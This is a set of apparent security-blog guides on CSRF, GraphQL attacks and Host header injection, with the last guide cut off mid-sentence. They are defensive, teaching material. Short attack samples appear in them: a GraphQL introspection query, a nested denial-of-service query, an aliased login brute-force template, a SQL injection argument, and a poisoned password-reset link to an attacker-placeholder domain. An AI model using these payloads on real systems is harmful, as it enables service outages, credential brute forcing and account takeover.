Treat SameSite cookies and anti-CSRF tokens as two layers, not a choice. SameSite is a browser-enforced default that covers a lot of ground but depends on the user's browser behaving and on your cookies being scoped correctly. Tokens are enforced by your own server on every request. Ship both, and a gap in one is covered by the other. ## How to defend against CSRF 1. **Enable your framework's built-in CSRF protection** and confirm it covers every state-changing route. Most modern frameworks include the synchronizer token pattern; the failure mode is a custom endpoint that bypasses it. 2. **Set `SameSite` explicitly on session cookies**, preferring `Lax` as a baseline and `Strict` for high-value sessions. 3. **Never change state on GET.** Reserve GET for reads and require POST, PUT, PATCH, or DELETE for anything with side effects. 4. **Validate Origin and Referer** on state-changing requests as a secondary control and reject mismatches. 5. **Require step-up authentication** for critical actions like changing email, password, or payment details, so no single forged request completes them. 6. **Do not store bearer tokens in cookies** unless you also apply full CSRF protection to them, because that reintroduces the ambient-credential problem the token model was meant to avoid. Attackers rarely stop at one bug. A forged email change today can seed an account takeover tomorrow, and the delivery often arrives inside a phishing page or a malicious document. Our Exploit Intelligence dashboard tracks which classes of web flaw are actively being weaponized, so you can see where CSRF-adjacent account-takeover chains are showing up in the wild rather than guessing. ## A forged request, step by step Tracing one attack from setup to effect shows exactly where the trust breaks down. The attacker starts by studying the target application to learn which request performs a valuable state change. Say the application changes an account's recovery email with a POST to a known path, carrying the new address as a form field, and authenticating the user purely by the session cookie. That last property, cookie-only authentication on a state-changing endpoint, is the precondition the whole attack depends on. Next the attacker builds a page that reproduces that request. A hidden form on the page targets the application's email-change path, carries the attacker's address in a hidden field, and submits itself the moment the page loads. Nothing on the page looks unusual to a casual visitor, and the form is invisible. Then the attacker delivers the page to a victim who is logged into the target. The delivery is ordinary: a link in an email, a post on a forum, an advertisement, or a compromised page the victim already trusts. The victim does not need to interact beyond arriving, because the form submits on load. When the page loads in the victim's browser, the browser fires the request at the target application. Because the request goes to the target's origin, the browser attaches the victim's session cookie automatically, exactly as it does for every legitimate request to that site. The cookie is valid, the session is real, and the application has no built-in way to tell that the victim did not intend this request. The application processes the email change as though the victim asked for it. The attacker never saw the response and never learned the session cookie, and none of that was necessary. With the recovery email now pointing at the attacker, a password reset can be triggered and captured later, converting a single forged request into a full account takeover. The chain shows why CSRF is dangerous despite being blind: the value is in the side effect, and the side effect can seed the next step. ## Detection signals CSRF is a design gap rather than a noisy exploit, so much of the defensive value is in reviewing endpoints and watching for the patterns that indicate exposure or attempts. - **State-changing endpoints without a token check.** The clearest audit signal is any route that performs a side effect while accepting a request that carries no anti-CSRF token and relies only on the session cookie. These are the endpoints an attacker looks for. - **State changes reachable over GET.** A side effect triggered by a GET request can be fired by an image tag and is the easiest kind of CSRF to deliver. Any state change on GET is a finding on its own. - **Cross-origin state requests without a matching Origin.** For state-changing requests, an Origin or Referer header pointing at a site other than your own is a strong sign of a forged request, since a legitimate request originates from your application. - **Bearer tokens stored in cookies.** An API that authenticates with a token but keeps that token in a cookie has quietly reintroduced ambient credentials, which returns the CSRF exposure the token model was meant to remove. - **Missing or permissive SameSite attributes.** Session cookies set without SameSite, or set to None without a strong reason, widen the window for cross-site delivery and are worth flagging in review. - **Spikes of identical state-changing requests with mismatched Origins.** In logs, a burst of the same email-change or setting-toggle request arriving with foreign or absent Origin headers can indicate an active campaign. ## The defenses compared | Defense | How it proves intent | Server state needed | Main limitation | |---|---|---|---| | Synchronizer token | Secret per-session token embedded in the form | Yes, token bound to session | Must cover every state-changing route | | Double-submit cookie | Cookie value must match a request field | No, stateless | Subdomain and cookie-scoping edge cases | | SameSite cookies | Browser withholds cookie on cross-site requests | No, browser-enforced | Depends on browser and correct cookie scope | | Origin and Referer check | Header must match the application's origin | No | Some clients strip or omit the header | | Step-up re-authentication | Fresh credential required for the action | Depends on method | Adds user friction, reserve for high-value actions | The table shows why these are layers rather than substitutes. The synchronizer token is the strongest single control and is enforced by your own server, while SameSite is a broad browser-enforced default that depends on the client behaving and on correct cookie scoping. Shipping a token check under a SameSite default means a gap in one is covered by the other, which is the posture to aim for. ## Common misconceptions **"SameSite=Lax by default means CSRF is solved."** Lax blocks a large share of cross-site POST CSRF, and it is genuine progress. It still relies on the user's browser enforcing it and on your cookies being scoped correctly, and it does not cover every case. Treat it as a strong default under an explicit token check, not as a complete replacement. **"An HTTPS site is safe from CSRF."** HTTPS encrypts the connection and does nothing about who caused the request. A forged request travels over HTTPS just as a legitimate one does, carrying the session cookie all the same. Transport security and CSRF defense are unrelated properties. **"CSRF lets an attacker read my data."** It does not. The same-origin policy still stops the attacker's page from reading the response, so CSRF is blind. Its value is entirely in the side effect it forces, such as changing a setting or moving money, which is why blind does not mean harmless. **"Only POST requests are vulnerable."** Any request that changes state is a candidate, and state-changing GET requests are the easiest to exploit because an image tag can trigger them. Keeping GET strictly read-only removes that entire, easy delivery path. **"A token in a cookie is a CSRF defense."** A token that the browser sends automatically, as it does a cookie, offers no protection, because the attacker's forged request carries it too. The double-submit pattern works only because the application also copies the value into a header or field that a cross-site page cannot set. ## How the defenses developed CSRF drew serious attention as applications moved real actions, payments, account changes, administrative controls, onto the web while still authenticating every request with an ambient session cookie. The root behaviour, a browser attaching a site's cookie to any request bound for that site regardless of what caused the request, was convenient for keeping users logged in and was exactly what the attack abused. The first durable answer was the synchronizer token pattern, a secret unpredictable value tied to the session and embedded in every form, checked on each state-changing request. Because a cross-site page cannot read the token or guess it, it cannot forge a valid request. Frameworks absorbed this control and began shipping it enabled by default, which turned CSRF from a common finding into a mostly solved problem for teams that used their framework's protection. The double-submit cookie followed for cases where server-side token storage was undesirable, trading a little robustness for statelessness. The larger shift came from the browsers themselves with the SameSite cookie attribute, which lets a site tell the browser to withhold a cookie on cross-site requests, and with modern browsers defaulting to Lax when no attribute is set. That default quietly removed a large share of classic CSRF across the web. The current posture combines a browser-enforced SameSite default with a server-enforced token check, so neither the browser nor the server is the single point of failure. ## Frequently asked questions **Is CSRF still relevant with modern browsers defaulting to SameSite Lax?** Yes. The Lax default removed a large share of classic cross-site POST CSRF, which is real progress, but it depends on the user's browser enforcing it and on your cookies being scoped correctly, and it does not cover every case. Endpoints that change state still need an explicit anti-CSRF token, with SameSite as a strong default underneath rather than the only control. **What is the difference between CSRF and XSS?** CSRF makes a victim's browser send a request without reading the reply, riding an existing session. Cross-site scripting runs attacker code inside your origin and can read anything the user can, including a CSRF token. If an attacker has XSS on your site, no CSRF token protects you, because their script runs in your context. Fix XSS first, then rely on CSRF defense for everything else. **Are single-page applications and APIs vulnerable to CSRF?** A pure API that authenticates with a bearer token in an Authorization header is not vulnerable to classic CSRF, because the browser does not attach that header automatically to cross-site requests. The exposure returns the moment the app stores its token in a cookie for convenience, which reintroduces the ambient credential. If you use cookies, apply full CSRF protection. **Does CSRF work if the victim is not logged in?** No. CSRF rides an existing authenticated session at the target site. If the victim has no active session, there is no cookie for the browser to attach, and the forged request arrives unauthenticated. The attack depends on the victim being logged in at the moment they load the attacker's page. **Can I rely on the Referer header alone to stop CSRF?** It is a useful secondary control, since the browser sets Origin and Referer and a cross-site page cannot forge them, but it is not sufficient alone. Some clients and privacy settings strip or omit the header, which would either weaken the check or break legitimate requests if you reject every missing header. Use it alongside tokens and SameSite, not instead of them. **Why is changing state on a GET request dangerous?** A GET request can be triggered simply by loading a resource, for example an image tag whose source points at the state-changing URL. That makes a state-changing GET the easiest possible CSRF to deliver, since it needs no form and no script. Reserving GET for reads and requiring POST, PUT, PATCH, or DELETE for side effects removes that path entirely. **What is the single most important CSRF defense to get right?** Enabling your framework's built-in token protection and confirming it covers every state-changing route. Most modern frameworks ship the synchronizer token pattern enabled, and the common failure is a custom endpoint that bypasses it. Pair that with an explicit SameSite setting and read-only GET, and the attack has nothing to grab. CSRF is old, well understood, and completely preventable. The controls are cheap, they ship in every serious framework, and the only real failure is forgetting to apply them to one endpoint. Turn them on everywhere state changes, set SameSite deliberately, and keep GET read-only, and the attack simply has nothing to grab. ## Related guides - [SSRF Explained](/ssrf-explained) - [Session Hijacking Explained](/session-hijacking-explained) - [JWT Attacks Explained](/jwt-attacks-explained) - [OWASP Top 10 Explained](/owasp-top-10-explained) - [XSS Attacks Explained](/xss-attacks-explained) ### Sources - OWASP: Cross-Site Request Forgery (CSRF) (OWASP): https://owasp.org/www-community/attacks/csrf - PortSwigger Web Security Academy: CSRF (PortSwigger): https://portswigger.net/web-security/csrf - OWASP CSRF Prevention Cheat Sheet (OWASP): https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html --- ## GraphQL Attacks: Introspection, Nested Queries & Batching > How GraphQL gets attacked: exposed introspection, deeply nested query denial of service, batching abuse, and defending with depth and cost limits. - URL: https://blog.pwnsy.com/graphql-attacks-explained - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: intermediate - Category: web-security - Tags: graphql, web-security, api-security, denial-of-service, appsec - Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained) ### TL;DR - GraphQL gives clients the power to shape their own queries, and that same flexibility is what attackers use to map, overload, and abuse an API. - Introspection can hand an attacker a full map of your schema, including fields and mutations a client was never meant to find. - A single deeply nested query can force the server to resolve an enormous result set, turning one request into a denial-of-service event. - Query batching and aliasing let an attacker send many operations in one request, sidestepping naive per-request rate limits. ### Key Takeaways - Disable introspection and field suggestions in production, or restrict them to authenticated internal use. - Enforce a maximum query depth and a query cost or complexity budget so no single request can be arbitrarily expensive. - Rate limit by cost and by operation, not just by request count, because batching and aliasing multiply work inside one request. - Apply authorization at the resolver and field level, since a flat schema exposes every type to anyone who can craft the query. - Persisted or allowlisted queries let you accept only known-good operations in production. GraphQL flips the usual API contract. Instead of the server deciding what each endpoint returns, the client asks for exactly the fields it wants in a single query. That is a genuine win for front-end teams, and it is also a new attack surface. The same query language that lets a client fetch precisely what it needs lets an attacker probe the schema, ask for something ruinously expensive, or pack many operations into one request. This guide covers the GraphQL abuse patterns that come up most: introspection exposure, deeply nested query denial of service, and batching. Each has a clean defense rooted in limiting what a single query is allowed to do, and each defense is set out with the attack it answers. The wider API program those controls sit inside is in [API Security Best Practices](/api-security-guide). ## Why GraphQL changes the threat model A REST API exposes fixed endpoints, each returning a shape the server chose. A GraphQL API exposes a single endpoint and a typed schema, and the client composes the query. Three properties of that model matter for security. First, the schema is a map of everything the API can do, and the client drives traversal through it. Second, one query can span many types and relationships, so its cost is not obvious from its size. Third, features built for developer convenience, like introspection and batching, are available to anyone who can reach the endpoint unless you turn them off. Attackers use all three. ## Introspection exposure Introspection is GraphQL's built-in self-documentation. A special query asks the server to describe its own schema: every type, every field, every argument, every mutation. Tools use it to generate documentation and autocomplete. An attacker uses it to skip reconnaissance entirely. ``` { __schema { types { name fields { name } } } } ``` With introspection open, an attacker downloads the complete schema and immediately sees fields and mutations that the UI never calls: an admin-only mutation, an internal field, a deprecated endpoint still wired up. Even with introspection disabled, some servers leak schema information through field suggestions, where a mistyped field name returns a helpful "did you mean" that confirms real field names one guess at a time. The defense is to disable introspection in production, disable the suggestion feature, and restrict any schema exploration to authenticated internal environments. Turning off introspection slows reconnaissance; it does not protect data. A hidden field is still reachable by anyone who guesses or already knows its name. Every sensitive field and mutation still needs its own authorization check at the resolver. Treat introspection control as one layer, never the only one. ## Deeply nested queries and denial of service GraphQL schemas often contain cyclic relationships. A user has posts, a post has an author, an author has posts, and so on. Because the client controls the query, it can walk that cycle as deep as it likes. ``` { user { posts { author { posts { author { posts { author { name } } } } } } } } ``` Each level multiplies the work the server must do to resolve the result. A query only a few kilobytes long can demand that the database and resolvers assemble a result set large enough to exhaust memory and CPU, taking the service down for everyone. This is a classic amplification: tiny input, enormous cost. On MITRE ATT&CK it maps to [Endpoint Denial of Service (T1499)](https://attack.mitre.org/techniques/T1499/). The problem is that request size is a poor proxy for request cost in GraphQL. A short query can be catastrophically expensive, so defenses have to measure the query itself, not the bytes on the wire. ## Batching and aliasing abuse GraphQL lets a client send multiple operations in one HTTP request, and lets it alias the same field many times within a single query. Both features multiply the work done per request, and both defeat rate limits that only count requests. Aliasing is the sharper tool. A single query can invoke the same expensive field or mutation hundreds of times under different alias names: ``` { a1: login(user:"x", pass:"a") { ok } a2: login(user:"x", pass:"b") { ok } ... } ``` To a rate limiter that counts one HTTP request, this looks like a single attempt. To the server, it is hundreds of login attempts, which turns a login mutation into a credential-stuffing engine that walks straight past a per-request throttle. Batched arrays of operations do the same at the transport level. The lesson is that in GraphQL the meaningful unit is the operation and its cost, not the HTTP request. ## CSRF against GraphQL Many GraphQL servers accept operations over both POST and GET, and some accept form-encoded bodies for convenience. That convenience opens the door to cross-site request forgery. If a mutation can be triggered by a GET request or a simple form submission, an attacker can host a page that fires the request from the victim's authenticated browser, and a state-changing operation runs without the user's intent. The fixes are the standard anti-CSRF measures applied to the GraphQL endpoint. Accept mutations only over POST with a JSON content type, which browsers cannot forge cross-origin without a preflight, and require a CSRF token or rely on the SameSite cookie attribute for session cookies. Reject GET requests that attempt to run mutations. See [CSRF Explained](/csrf-explained) for the underlying pattern. ## Injection through GraphQL arguments GraphQL is a query language for your API, not for your database, so it does not remove the classic injection risks underneath. Every argument a client sends flows into a resolver, and that resolver often builds a database query, a system command, or another API call. If the resolver concatenates the argument into a query string, the endpoint is open to SQL or NoSQL injection just as a REST endpoint would be. ``` { user(id: "1 OR 1=1") { name email } } ``` The GraphQL layer gives no protection here. Resolvers must use parameterized queries and validate argument types and ranges, the same discipline any backend needs. See [NoSQL Injection Explained](/nosql-injection-explained) for how these payloads take shape against document databases. ## Information disclosure through errors GraphQL servers are often chatty when something goes wrong. Verbose error messages can leak stack traces, internal field names, database structure, and library versions, all of which help an attacker refine the next query. Combined with field suggestions, error output can reconstruct much of a schema even when introspection is disabled. In production, return generic error messages to clients and keep the detailed diagnostics in server-side logs only. ## Why these flaws are so common The recurring GraphQL vulnerabilities are not exotic. They come from features that ship enabled for developer convenience and from an assumption carried over from REST that does not hold. Introspection, field suggestions, batching, and verbose errors all make development faster, and all of them are reachable by anyone who can hit the endpoint unless a team deliberately turns them off for production. A schema left in its friendly development posture hands an attacker a map, a hint system, and a work multiplier without any special effort on their part. The deeper cause is a mental model mismatch. REST trained a generation of developers to think of the endpoint as the unit of security: authorize the endpoint, rate limit the endpoint, and the shape the endpoint returns bounds the cost. GraphQL collapses many endpoints into one flexible query surface, so authorization has to move down to the field, rate limiting has to move to computed cost, and cost has to be measured rather than assumed from request size. Teams that lift REST habits directly onto a GraphQL server inherit gaps at exactly the points where the model changed. The good news is that the fixes are well understood and composable, which is why a short list of controls closes most of the surface. ## A worked example: mapping and abusing a schema Follow an attacker who reaches an unfamiliar GraphQL endpoint with no documentation. The steps below show how the model's flexibility compounds into real access when the defensive controls are missing. The first move is reconnaissance, and GraphQL often hands it over for free. The attacker sends an introspection query and receives the full schema: every type, every field, every argument, every mutation. Where a REST API would force guessing at endpoint names, the introspection response names an administrative mutation, an internal field, and a deprecated operation still wired up, none of which the user interface ever calls. If introspection is disabled, the attacker falls back to field suggestions, sending mistyped field names and reading the helpful hints that confirm real names one guess at a time. With the map in hand, the attacker looks for fields that lack their own authorization. Because the schema is flat and every type is reachable by anyone who can compose a query, a mutation that the front end only ever exposes to admins may run for any authenticated user if the resolver does not check permissions itself. The attacker composes a query that reaches that mutation directly, bypassing the interface that would have hidden it. Next comes cost. The attacker notices a cyclic relationship in the schema, a user has posts, a post has an author, an author has posts, and writes a short query that walks the cycle many levels deep. A request only a few kilobytes long forces the server to assemble an enormous result set, straining memory and CPU. If there is no depth limit and no cost analysis, that single request degrades the service for everyone. Finally, the attacker weaponises aliasing. A login mutation that a per-request rate limiter treats as one attempt can be invoked hundreds of times under different alias names inside a single query, turning it into a credential-stuffing engine that walks straight past the throttle. Each stage built on the last: introspection revealed the operation, missing authorization made it reachable, and aliasing multiplied it. The defenses later in this guide close each of those doors. ## Detection signals: spotting GraphQL abuse Because a GraphQL API exposes one endpoint, the useful signals live in the shape and content of the operations rather than in which URL was hit. Instrument the resolver layer and the gateway to surface these. - **Introspection queries in production traffic.** Requests containing `__schema` or `__type` against a public endpoint are almost always reconnaissance, since legitimate clients ship with the schema they need and do not ask the server to describe itself. - **Repeated near-miss field names.** A burst of queries with slightly wrong field names, each drawing a suggestion, is field-name enumeration in progress. - **Abnormal query depth.** Operations that nest well beyond what any real screen requires, especially through cyclic relationships, point at a resource-exhaustion attempt. - **Heavy aliasing.** A single operation that aliases the same field or mutation many times is a strong signal of rate-limit evasion or brute forcing, particularly against authentication mutations. - **Large batched operation arrays.** A single HTTP request carrying a long array of operations multiplies work per request and is worth flagging and capping. - **High computed query cost.** If you assign a cost to fields, queries whose computed cost sits far above the norm are the clearest single indicator of an expensive-query attack, whether or not they are deep. The theme is that the meaningful unit in GraphQL is the operation and its computed cost, so detection and rate limiting both belong at that level rather than at the HTTP request. ## Attack summary | Attack | Abused feature | Impact | Primary defense | |---|---|---|---| | Introspection exposure | Schema self-documentation | Full schema disclosure | Disable introspection and suggestions in production | | Field suggestion leakage | "Did you mean" hints | Field name enumeration | Turn off suggestions on production servers | | Nested query DoS | Cyclic schema traversal | Resource exhaustion | Depth limit plus cost analysis | | Batching and aliasing | Multiple ops per request | Rate-limit bypass, brute force | Cost-based limits, cap operations per request | | Missing field authorization | Flat schema access | Data exposure | Resolver and field-level authorization | ## How to defend a GraphQL API The controls reinforce each other. Layer them. 1. **Disable introspection and suggestions in production.** Keep them for internal, authenticated environments where developers need them, and turn them off on public endpoints. 2. **Enforce a maximum query depth.** Reject any query that nests beyond a sensible limit for your schema, which kills the cyclic amplification. 3. **Add query cost analysis.** Assign a cost to fields and resolvers, compute the total cost of an incoming query before executing it, and reject anything over a budget. This catches expensive queries that are not deep. 4. **Rate limit by cost, not by request.** Charge each client's budget by the computed cost of their operations, and cap the number of operations and aliases allowed per request so batching cannot multiply work for free. 5. **Authorize at the resolver and field level.** Do not assume the query shape reflects the user's permissions. Check authorization on every sensitive field and mutation, because the schema exposes them all. 6. **Use persisted or allowlisted queries.** In production, accept only a known set of registered queries by identifier, so arbitrary attacker-crafted queries are never executed. 7. **Set timeouts and pagination limits.** Cap execution time and force pagination so no resolver can return an unbounded list. API and GraphQL vulnerabilities move fast once a working technique is public. Our Exploit Intelligence dashboard tracks live vulnerabilities across API and application components, so you can see which classes are under active pressure and patch accordingly. ## GraphQL and REST: where the risk differs The abuse patterns above are easier to see against the REST baseline that most teams already understand. The comparison shows why controls REST gave for free have to be rebuilt in GraphQL. | Concern | REST | GraphQL | |---|---|---| | Endpoints | Many fixed endpoints, each a known shape | One endpoint, client composes the query | | Cost of a request | Roughly bounded by the endpoint | Set by the query, can be huge from a tiny request | | Reconnaissance | Guess endpoint names | Introspection or field suggestions map the schema | | Rate limiting | Per request is a fair proxy for work | Per request is defeated by batching and aliasing | | Authorization | Often per endpoint | Must be per field and per resolver on a flat schema | | Injection risk | Present in every handler | Present in every resolver, GraphQL adds no protection | The row that surprises teams most is cost. In REST the endpoint bounds the work, so request count tracks load. In GraphQL a short query can be catastrophically expensive, so request size and request count are both poor proxies for cost, and defenses have to measure the query itself. The injection row is the other trap: the query language sits in front of your API, not your database, so parameterised queries and input validation are still mandatory in every resolver. ## Common misconceptions **"Disabling introspection secures the schema."** Turning off introspection slows reconnaissance and hides nothing that is actually reachable. A field an attacker already knows or guesses is still callable, and field suggestions can rebuild much of the schema one hint at a time. Every sensitive field and mutation still needs its own authorization check. Treat introspection control as one layer among several. **"GraphQL protects against injection."** GraphQL is a query language for your API, not for your database. Every argument flows into a resolver that often builds a database query, a system command, or another API call. If a resolver concatenates that argument into a query string, the endpoint is open to SQL or NoSQL injection exactly as a REST handler would be. Parameterised queries and type validation remain mandatory. **"Our rate limiter handles abuse."** A limiter that counts HTTP requests is blind to batching and aliasing, both of which multiply the work inside a single request. Hundreds of aliased login attempts arrive as one request and pass the throttle untouched. Rate limiting has to charge by computed cost and cap operations and aliases per request to matter. **"Request size tells us if a query is dangerous."** A few kilobytes of query can force the server to assemble a result set large enough to exhaust memory and CPU, because cyclic traversal multiplies work at every level. Size is a poor proxy for cost, which is why depth limits and cost analysis exist. Measure the query, not the bytes on the wire. ## Frequently asked questions **Should I disable introspection in production?** Yes, on public endpoints, and keep it available in internal, authenticated environments where developers need it. Disabling it slows an attacker's reconnaissance. It is one layer and not a substitute for authorization, since a determined attacker can still reach fields they know about and can often reconstruct the schema through field suggestions and verbose errors. **What is the difference between a depth limit and a cost limit?** A depth limit rejects queries that nest beyond a set number of levels, which kills the cyclic amplification that deeply nested queries rely on. A cost limit assigns a weight to each field and resolver, computes the total for an incoming query before executing it, and rejects anything over a budget. Depth catches deep queries, and cost catches expensive queries that are shallow but wide, so you want both. **How does aliasing bypass rate limiting?** Aliasing lets one query invoke the same field or mutation many times under different names. To a rate limiter that counts one HTTP request, a query with hundreds of aliased login attempts looks like a single attempt, while the server actually processes every one. Charging the client's budget by the computed cost of the operation, and capping the number of aliases and operations per request, closes the gap. **Are persisted queries worth the effort?** For production APIs with a known set of client operations, yes. Persisted or allowlisted queries register each permitted operation by identifier, so the server accepts only known-good queries and never executes arbitrary attacker-crafted ones. That single control neutralises introspection abuse, nested-query denial of service, and aliasing at once, because an attacker-crafted query is never on the allowlist, at the cost of a registration step in your build pipeline. **Does GraphQL need CSRF protection?** Yes, when it authenticates with cookies. Many servers accept operations over both POST and GET and some accept form-encoded bodies, which lets an attacker fire a state-changing mutation from a victim's authenticated browser. Accept mutations only over POST with a JSON content type, reject GET requests that run mutations, and require a CSRF token or rely on the SameSite cookie attribute. **Where should authorization live in a GraphQL server?** At the resolver and field level, which is where GraphQL authorization has to live. The schema is flat, so every type is reachable by anyone who can compose a query, and the query shape does not reflect the user's permissions. Each sensitive field and mutation needs its own check, because disabling introspection or hiding a field from the interface does nothing to stop a crafted query from reaching it. A centralised authorization layer that every resolver consults, rather than ad hoc checks scattered through the code, keeps this consistent as the schema grows and new fields are added. Without it, one forgotten check on a newly added mutation quietly reopens the whole surface. GraphQL hands power to the client by design, so the server has to reclaim the limits that REST gave it for free. Turn off the reconnaissance features you do not need, measure and cap the cost of every query, rate limit by work rather than by request, and authorize every field. Those controls leave the schema flexible for legitimate clients and closed to the abuse patterns above. ## Related guides - [API Abuse Explained](/api-abuse-explained) - [API Security Best Practices](/api-security-guide) - [NoSQL Injection Explained](/nosql-injection-explained) - [OWASP Top 10 Explained](/owasp-top-10-explained) ### Sources - OWASP Cheat Sheet: GraphQL Security (OWASP): https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html - PortSwigger Web Security Academy: GraphQL API vulnerabilities (PortSwigger): https://portswigger.net/web-security/graphql - MITRE ATT&CK: Endpoint Denial of Service (T1499) (MITRE): https://attack.mitre.org/techniques/T1499/ --- ## Host Header Injection: Reset Poisoning & Cache Attacks > How attackers abuse the HTTP Host header for password-reset poisoning, cache issues, and routing tricks, why it happens, and how to defend against it. - URL: https://blog.pwnsy.com/host-header-injection-explained - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: intermediate - Category: web-security - Tags: host-header-injection, web-security, owasp, appsec, http - Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained) ### TL;DR - Host header injection abuses the fact that the HTTP Host header is attacker-controlled input, yet applications treat it as a trusted source of their own domain name. - The highest-impact use is password-reset poisoning: the app builds a reset link from the Host header, so the attacker points that link at a server they own. - The same trust also enables cache poisoning, server-side request routing tricks, and access to virtual hosts the attacker should not reach. - The fix is to stop deriving your own hostname from the request. Validate the Host header against an allowlist and build absolute URLs from server-side configuration. ### Key Takeaways - The Host header is user input. Any security or business logic that trusts it inherits an injection point. - Password-reset poisoning turns a self-service feature into account takeover when the reset URL is built from the request's Host or related headers. - Forwarding and override headers like X-Forwarded-Host reintroduce the same flaw even when the Host header itself is checked. - Web cache poisoning can persist a malicious Host-derived response and serve it to many other users. - Allowlisting valid hosts and building absolute links from configuration, not from the request, removes the class. Every HTTP request carries a Host header naming the site the client wants. It exists so one server can host many domains and route each request to the right one. That is useful and mundane. The problem is that the client sets this header, and a great deal of application code reads it back as though the application had chosen it. Host header injection is what happens when that misplaced trust becomes an attack surface. An application that builds links, makes routing decisions, or generates cached responses from the incoming Host header is taking direction from whoever sent the request. In the worst cases, that direction leads to account takeover. ## Why the Host header is trusted at all The header is genuinely load-bearing. Virtual hosting depends on it: a single IP address may serve dozens of sites, and the server uses the Host header to pick which one. Reverse proxies and load balancers pass it along, sometimes rewriting it, sometimes adding companions like `X-Forwarded-Host`. Application frameworks expose it through convenient helpers that return "the current host", and developers reach for those helpers to build absolute URLs. That convenience is the trap. A helper that claims to return the current host is really returning the client's claim about the current host. When an email template, a redirect, or a script tag is built from that value, the attacker gets to influence the output. It is worth separating the two ways the header is used, because only one is dangerous. Using the Host header to route a request to the correct virtual host is fine, since the server is only deciding which site to serve and a wrong value simply lands on the wrong site or an error. The danger begins when the value is fed back into content or logic: into a link, a redirect, a cached response, or an internal request. At that point the server has taken an attacker's input and turned it into part of its own behavior. Keeping those two uses distinct is the first step to reasoning about the risk. ## Password reset poisoning The clearest and most damaging case is password-reset poisoning. Self-service password reset usually works like this: the user submits their email, the app generates a one-time reset token, and it emails a link containing that token. To build the link, the app needs its own domain name, and too often it reads that domain from the Host header of the reset request. An attacker who knows a victim's email address submits the reset form on the victim's behalf, but sends a Host header pointing at a server the attacker controls. The application generates a valid reset token for the victim and emails a link like this to the victim's real inbox: ``` https://attacker-controlled.example/reset?token=VALID_TOKEN_FOR_VICTIM ``` If the victim clicks, their browser sends the live token to the attacker's server. The attacker replays it against the real site and resets the password. The token was legitimate. The domain in the link was not. On MITRE ATT&CK this kind of internet-facing exploitation maps to [Exploit Public-Facing Application (T1190)](https://attack.mitre.org/techniques/T1190/). Some variants do not even need the victim to click. If the app leaks the token elsewhere, or if the reset link is fetched by a preview bot, the token can reach the attacker's server without a human in the loop. A password-reset URL must be constructed from a hardcoded or configured base URL that the application owns. The moment the domain in that link comes from the Host header, X-Forwarded-Host, or any other request-controlled value, self-service reset becomes an account-takeover primitive. This single rule closes the most severe Host header bug. ## Cache poisoning and other impacts Password reset is the headline, and it is not the only outcome. The same trust surfaces in several places. | Technique | Mechanism | Typical impact | |---|---|---| | Password-reset poisoning | Reset link domain read from Host header | Account takeover | | Web cache poisoning | Host-derived content cached and served to others | Stored redirect or script for many users | | Cache key confusion | Host header excluded from the cache key | One user's poisoned response reaches everyone | | Routing and SSRF-style tricks | Override headers reach an internal virtual host | Access to unintended backends | | Password-reset without click | Token leaks to Host-derived resource loads | Silent takeover | Web cache poisoning is worth singling out. If the application reflects the Host header into a response, and the cache in front of it stores that response without including the Host in the cache key, the attacker can poison a shared cache entry. A single crafted request plants a malicious redirect or script that the cache then serves to every subsequent visitor. The details of that chain live in [Web Cache Poisoning Explained](/web-cache-poisoning-explained). A Host-derived redirect that lands users on an attacker domain is also a flavor of the problem covered in [Open Redirect Explained](/open-redirect-explained). ## The override-header trap Teams that learn about this bug often check the Host header and stop there. Attackers then reach for the forwarding headers. Proxies and frameworks frequently honor `X-Forwarded-Host`, `X-Host`, `X-Forwarded-Server`, or a rewritten Host, and application code may prefer those values when present. Duplicate Host headers and absolute request lines are further ways to smuggle a second, attacker-chosen host past a naive check. The lesson is that validating one header is not enough while the framework silently consults others. You have to know exactly which value your code trusts and control all the inputs that can feed it. Overlapping header parsing between a proxy and an app server is also the same soil that grows the desync problems in [HTTP Request Smuggling Explained](/http-request-smuggling-explained). ## How to find it Testing for Host header injection is mostly a matter of changing the header and watching where the value surfaces. A few checks find most instances. Start with the reflection test. Send a request with a Host header set to an obviously wrong value and look for that value coming back anywhere: in the HTML body, in a `Location` redirect header, in a canonical link tag, or in an absolute URL inside the response. Reflection is a strong signal that request-controlled host data reaches the output. Move on to the reset flow, which is where the real damage lives. Trigger a password reset for an account you control while sending a modified Host header, then read the email that arrives. If the reset link points at the host you supplied rather than the real domain, you have confirmed the account-takeover primitive. Repeat the test with the forwarding headers, `X-Forwarded-Host` and its relatives, because an app that validates the Host header directly may still trust an override header. Finally, probe routing. Try an absolute URL in the request line, duplicate Host headers, and unusual host values to see whether the server routes you to an unexpected virtual host or a default backend it should not expose. Any of these behaviors marks a place where the application is taking direction from a value it should treat as untrusted input. ## How to actually defend against Host header injection The defenses come down to one principle: your application should decide its own identity, not learn it from the request. 1. **Build absolute URLs from configuration.** Set a canonical base URL in server-side config and use it for every generated link, especially password-reset and email links. Never assemble these from a request header. 2. **Allowlist valid hosts.** Maintain an explicit list of the domains your application serves and reject any request whose effective host is not on it. Return an error or a default site rather than processing an unknown host. 3. **Neutralize forwarding headers.** Decide at the edge which forwarding headers you trust, strip the rest at the proxy, and make sure application code cannot fall back to an override header you did not sanction. 4. **Keep the Host in the cache key.** Ensure any cache in front of the app includes the host in its key and does not store responses that reflect an unvalidated host. This prevents one poisoned response from spreading. 5. **Do not reflect the Host header into responses.** Avoid echoing the header into HTML, headers, or links. If a canonical link is needed, use the configured base URL. 6. **Pin virtual-host routing.** Configure the web server to serve a default or reject unknown hosts, so requests for unexpected hostnames cannot reach sensitive internal virtual hosts. For any app, ask two things. First, where does a generated link get its domain? If the answer is anything request-derived, fix it. Second, what exact value does the framework return for the current host, and which headers can influence it? Control every input to that value and the class of bug closes. Host header injection is a trust bug wearing an infrastructure costume. The header 